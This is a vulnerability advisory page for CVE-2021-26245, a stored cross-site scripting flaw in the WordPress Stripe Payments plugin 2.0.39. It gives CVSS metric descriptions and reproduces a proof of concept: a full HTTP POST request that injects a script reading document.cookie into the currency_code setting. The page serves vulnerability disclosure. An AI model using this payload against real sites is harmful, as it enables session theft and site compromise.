WordPress Stripe Payments 2.0.39 Cross Site Scripting
CVE
Category
Price
Severity
CVE-2021-26245
CWE-79
$500
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2021-01-05
CPE
cpe:cpe:/a:wordpress:stripe_payments:2.0.39
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required High PR The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010032 WordPress Stripe Payments 2.0.39 Cross Site Scripting # Exploit Title: WordPress Plugin Stripe Payments 2.0.39 - 'AcceptStripePayments-settings[currency_code]' Stored XSS
# Date: 04-01-2021
# Software Link: https://wordpress.org/plugins/stripe-payments/#developers
# Exploit Author: Park Won Seok
# Contact: [email protected]
# Category: Webapps
# Version: stripe-payments (Ver_2.0.39)
# Tested on: Windows 10 x64
# description:
# A Stored Cross-site scripting (XSS) was discovered in wordpress plugins stripe-payments (Ver_2.0.39)
# Vulnerability parameters : "AcceptStripePayments-settings[currency_code]" have Cross-Site Scripting.
# POC - Stored Cross-Site Scripting
POST /wp-admin/options.php HTTP/1.1
Host: localhost
Content-Length: 5786
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http:// localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.31.131/wp-admin/edit.php?post_type=asp-products&page=stripe-payments-settings
Accept-Encoding: gzip, deflate
Accept-Language: ko,en-US;q=0.9,en;q=0.8
Cookie:
wordpress_5b1d7751a3da8a97505638936b7963ae=root%7C1609074082%7C6vGILxkmE1tZmBRmymy2iwNfvpGntlQfhEhwVLDGHFu%7C50b0c8ba4dcc6dfdd756418c9fc960d3736f93a0febf165408110ea815dbab03;
wordpress_test_cookie=WP%20Cookie%20check;
wordpress_logged_in_5b1d7751a3da8a97505638936b7963ae=root%7C1609074082%7C6vGILxkmE1tZmBRmymy2iwNfvpGntlQfhEhwVLDGHFu%7Cb3e517e751d2519dc5473f911230fe31c966c9c755f193344b4bdea80a09d8b4;
asp_transient_id=36985e31f4be2b5ae0e14586c592c87d;
wp-settings-1=mfold%3Do%26editor%3Dhtml%26posts_list_mode%3Dlist;
wp-settings-time-1=1608903490
Connection: close
wp-asp-urlHash=general&option_page=AcceptStripePayments-settings-group&action=update&_wpnonce=eee296fed3&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fpost_type%3Dasp-products%26page%3Dstripe-payments-settings&AcceptStripePayments-settings%5Bcheckout_url%5D=http%3A%2F%2F192.168.31.131%2Fstripe-checkout-result%2F&asp_products_page_url_value=http%3A%2F%2F192.168.31.131%2Fproducts%2F&
*AcceptStripePayments-settings%5Bcurrency_code%5D=USDjk9v0%22%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3edr45t*
&AcceptStripePayments-settings%5Bcurrency_symbol%5D=%24&AcceptStripePayments-settings%5Bbutton_text%5D=Buy+Now&AcceptStripePayments-settings%5Bpopup_button_text%5D=Pay+%25s&AcceptStripePayments-settings%5Bcheckout_lang%5D=&AcceptStripePayments-settings%5Bpopup_default_country%5D=0&AcceptStripePayments-settings%5Bapi_publishable_key%5D=1&AcceptStripePayments-settings%5Bapi_secret_key%5D=2&AcceptStripePayments-settings%5Bapi_publishable_key_test%5D=3&AcceptStripePayments-settings%5Bapi_secret_key_test%5D=4&AcceptStripePayments-settings%5Bbuyer_email_type%5D=text&AcceptStripePayments-settings%5Bfrom_email_address%5D=test+%3Csales%
40your-domain.com
%3E&AcceptStripePayments-settings%5Bbuyer_email_subject%5D=Thank+you+for+the+purchase&AcceptStripePayments-settings%5Bbuyer_email_body%5D=Hello%0D%0A%0D%0AThank+you+for+your+purchase%21+You+ordered+the+following+item%28s%29%3A%0D%0A%0D%0A%7Bproduct_details%7D&AcceptStripePayments-settings%5Bseller_notification_email%5D=localhost%
40google.com <http://40naver.com/>
&AcceptStripePayments-settings%5Bseller_email_type%5D=text&AcceptStripePayments-settings%5Bseller_email_subject%5D=Notification+of+product+sale&AcceptStripePayments-settings%5Bseller_email_body%5D=Dear+Seller%0D%0A%0D%0AThis+mail+is+to+notify+you+of+a+product+sale.%0D%0A%0D%0A%7Bproduct_details%7D%0D%0A%0D%0AThe+sale+was+made+to+%7Bpayer_email%7D%0D%0A%0D%0AThanks&AcceptStripePayments-settings%5Bsend_email_on_error_to%5D=localhost%
40google.com <http://40naver.com/>
&AcceptStripePayments-settings%5Bprice_currency_pos%5D=left&AcceptStripePayments-settings%5Bprice_decimal_sep%5D=.&AcceptStripePayments-settings%5Bprice_thousand_sep%5D=%2C&AcceptStripePayments-settings%5Bprice_decimals_num%5D=2&AcceptStripePayments-settings%5Bcustom_field_name%5D=&AcceptStripePayments-settings%5Bcustom_field_descr%5D=&AcceptStripePayments-settings%5Bcustom_field_descr_location%5D=placeholder&AcceptStripePayments-settings%5Bcustom_field_position%5D=above&AcceptStripePayments-settings%5Bcustom_field_type%5D=text&AcceptStripePayments-settings%5Bcustom_field_validation%5D=&AcceptStripePayments-settings%5Bcustom_field_custom_validation_regex%5D=&AcceptStripePayments-settings%5Bcustom_field_custom_validation_err_msg%5D=Please+enter+valid+data&AcceptStripePayments-settings%5Btos_text%5D=I+accept+the+%3Ca+href%3D%22https%3A%2F%2Fexample.com%2Fterms-and-conditions%2F%22+target%3D%22_blank%22%3ETerms+and+Conditions%3C%2Fa%3E&AcceptStripePayments-settings%5Btos_position%5D=above&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BUSD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BEUR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BGBP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BAUD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BARS%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BBAM%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BBGN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BBRL%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCAD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCLP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCNY%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCOP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCZK%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BDKK%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BEGP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BHKD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BHUF%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BINR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BIDR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BILS%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BJPY%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BLBP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BMYR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BMXN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BNZD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BNOK%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BPEN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BPHP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BPLN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BRON%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BRUB%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BSAR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BSGD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BZAR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BKRW%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BSEK%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCHF%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BTWD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BTHB%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BTRY%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BUYU%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BVND%5D=1&AcceptStripePayments-settings%5Bpp_additional_css%5D=&AcceptStripePayments-settings%5Brecaptcha_site_key%5D=&AcceptStripePayments-settings%5Brecaptcha_secret_key%5D=&submit=Save+Changes
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